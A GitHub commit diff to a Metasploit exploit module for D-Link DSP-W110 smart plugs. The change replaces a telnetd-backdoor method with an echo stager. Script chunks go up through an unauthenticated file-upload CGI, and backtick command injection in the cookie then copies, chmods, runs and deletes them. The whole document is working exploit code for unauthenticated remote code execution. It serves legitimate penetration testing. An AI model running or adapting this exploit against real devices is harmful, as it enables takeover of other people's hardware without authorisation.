Skip to content

Commit 8bc012a

Browse files
author
Michael Messner
committed
echo stager via upload vulnerability
1 parent d8e1178 commit 8bc012a

File tree

1 file changed

+62
-69
lines changed

1 file changed

+62
-69
lines changed

modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb

Lines changed: 62 additions & 69 deletions
Original file line numberDiff line numberDiff line change
@@ -9,13 +9,14 @@ class Metasploit3 < Msf::Exploit::Remote
99
Rank = NormalRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::CmdStager
1213

1314
def initialize(info = {})
1415
super(update_info(info,
1516
'Name' => 'D-Link Cookie Command Execution',
1617
'Description' => %q{
17-
This module exploits an anonymous remote code execution vulnerability on different D-Link
18-
devices. The vulnerability is a command injection in the cookie handling process of the
18+
This module exploits an anonymous remote upload and code execution vulnerability on different
19+
D-Link devices. The vulnerability is a command injection in the cookie handling process of the
1920
lighttpd web server when handling specially crafted cookie values. This module has been
2021
successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment and on the real
2122
device.
@@ -32,37 +33,27 @@ def initialize(info = {})
3233
['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC
3334
],
3435
'DisclosureDate' => 'Jun 12 2015',
35-
'Platform' => 'unix',
36-
'Arch' => ARCH_CMD,
37-
'Payload' =>
36+
'Payload' =>
3837
{
39-
'Compat' => {
40-
'PayloadType' => 'cmd_interact',
41-
'ConnectionType' => 'find',
42-
},
38+
'DisableNops' => true
4339
},
44-
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
4540
'Targets' =>
4641
[
47-
[ 'Automatic', { } ]
42+
[ 'MIPS Little Endian',
43+
{
44+
'Platform' => 'linux',
45+
'Arch' => ARCH_MIPSLE
46+
}
47+
],
48+
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
49+
{
50+
'Platform' => 'linux',
51+
'Arch' => ARCH_MIPSBE
52+
}
53+
],
4854
],
49-
'DefaultTarget' => 0
55+
'DefaultTarget' => 1
5056
))
51-
52-
register_advanced_options(
53-
[
54-
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
55-
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
56-
], self.class)
57-
58-
end
59-
60-
def tel_timeout
61-
(datastore['TelnetTimeout'] || 10).to_i
62-
end
63-
64-
def banner_timeout
65-
(datastore['TelnetBannerTimeout'] || 25).to_i
6657
end
6758

6859
def check
@@ -89,64 +80,66 @@ def exploit
8980
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
9081
end
9182

92-
print_status("#{peer} - Exploiting...")
93-
94-
cmd = "telnetd -l/bin/sh"
95-
execute_command(cmd)
96-
telnetport = 23
97-
handle_telnet(telnetport)
83+
print_status("#{peer} - Uploading stager ...")
84+
@counter = 1
85+
execute_cmdstager(
86+
:flavor => :echo,
87+
:linemax => 99 #limited by our upload, larger payloads crash the web server
88+
)
89+
90+
print_status("#{peer} - creating payload and executing it ...")
91+
92+
(1 .. @counter).each do |act_file|
93+
#the http server blocks access to our files ... we copy it to a new one
94+
#the length of our command is restricted to 19 characters
95+
cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}"
96+
execute_final_command(cmd)
97+
cmd = "chmod +x /tmp/#{act_file+@counter}"
98+
execute_final_command(cmd)
99+
cmd = "/tmp/#{act_file+@counter}"
100+
execute_final_command(cmd)
101+
cmd = "rm /tmp/#{act_file}"
102+
execute_final_command(cmd)
103+
cmd = "rm /tmp/#{act_file+@counter}"
104+
execute_final_command(cmd)
105+
end
98106
end
99107

100-
def handle_telnet(telnetport)
108+
def execute_command(cmd,opts)
109+
#upload our stager to a shell script
110+
#upload takes quite long because there is no response from the web server
101111

102-
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
112+
data_cmd = "------------------------------9bcdb049f0d2\r\n"
113+
data_cmd << "Content-Disposition: form-data; name=\"name\"; filename=\"#{@counter}\"\r\n"
114+
data_cmd << "Content-Type: application/octet-stream\r\n\r\n"
115+
data_cmd << "#!/bin/sh\n"
116+
data_cmd << cmd
117+
data_cmd << "\n------------------------------9bcdb049f0d2--"
103118

104-
if sock
105-
print_good("#{peer} - Backdoor service spawned")
106-
add_socket(sock)
107-
else
108-
fail_with(Failure::Unreachable, "#{peer} - Backdoor service not spawned")
109-
end
119+
@counter = @counter + 1
110120

111-
print_status("#{peer} - Trying to establish a telnet session...")
112-
prompt = negotiate_telnet(sock)
113-
if prompt.nil?
114-
sock.close
115-
fail_with(Failure::Unknown, "#{peer} - Unable to establish a telnet session")
116-
else
117-
print_good("#{peer} - Telnet session successfully established...")
121+
begin
122+
send_request_cgi({
123+
'method' => 'POST',
124+
'uri' => "/web_cgi.cgi?&request=UploadFile&path=/tmp/",
125+
'ctype' => "multipart/form-data; boundary=----------------------------9bcdb049f0d2",
126+
'data' => data_cmd
127+
})
128+
rescue ::Rex::ConnectionError
129+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
118130
end
119131

120-
handler(sock)
121132
end
122133

123-
def execute_command(cmd)
134+
def execute_final_command(cmd)
124135
begin
125-
res = send_request_cgi({
136+
send_request_cgi({
126137
'method' => 'GET',
127138
'uri' => "/",
128139
'cookie' => "i=`#{cmd}`"
129140
}, 5)
130-
return res
131141
rescue ::Rex::ConnectionError
132142
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
133143
end
134144
end
135-
136-
# Since there isn't user/password negotiation, just wait until the prompt is there
137-
def negotiate_telnet(sock)
138-
begin
139-
Timeout.timeout(banner_timeout) do
140-
while(true)
141-
data = sock.get_once(-1, tel_timeout)
142-
return nil if not data or data.length == 0
143-
if data =~ /\x23\x20$/
144-
return true
145-
end
146-
end
147-
end
148-
rescue ::Timeout::Error
149-
return nil
150-
end
151-
end
152145
end

0 commit comments

Comments
 (0)